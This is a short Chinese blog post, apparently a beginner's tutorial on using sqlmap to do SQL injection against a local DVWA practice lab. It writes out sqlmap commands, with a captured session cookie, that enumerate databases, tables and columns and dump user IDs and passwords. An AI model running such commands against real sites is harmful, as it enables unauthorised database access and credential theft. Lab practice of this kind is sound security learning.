sqlmap基本用法

最新推荐文章于 2024-07-15 15:39:35 发布

Flury

最新推荐文章于 2024-07-15 15:39:35 发布

阅读量1.4k

点赞数

分类专栏： sql注入文章标签： sql

本文链接：https://blog.csdn.net/WANGtesting/article/details/45717923

版权

1 篇文章 0 订阅

订阅专栏

sqlmap基本用法
最近在学sql注入用法哦sqlmap ，so 大概学习了下
需要的攻击如下
python
sqlmap
burpsuite
dvwa

怎么安装搭配环境省略

dvwa中有个sql injection （首选等级选low）
用burpsuit抓链接以及cookie
打开sqlmap
添加cookie=””
–current-db:显示当前数据库名称
-u:后跟注入链接url
sqlmap.py -u“http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”security=low; PHPSESSID=thjd3idiur5e1dce9tkogpait0” –current-db(显示当前数据库名)
显示表
sqlmap.py -u“http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”security=low; PHPSESSID=thjd3idiur5e1dce9tkogpait0” -D dvwa –tables

5.得到表的结构
sqlmap.py -u“http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”security=low; PHPSESSID=thjd3idiur5e1dce9tkogpait0” -D dvwa -T guestbook –columns
分别得到两张表
得到表的内容,制定需要显示的字段内容
sqlmap.py -u“http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”security=low; PHPSESSID=thjd3idiur5e1dce9tkogpait0” -D dvwa -T users -C user_id,password –dump

注入完成，sqlmap会陆续更新>< 新手多多指教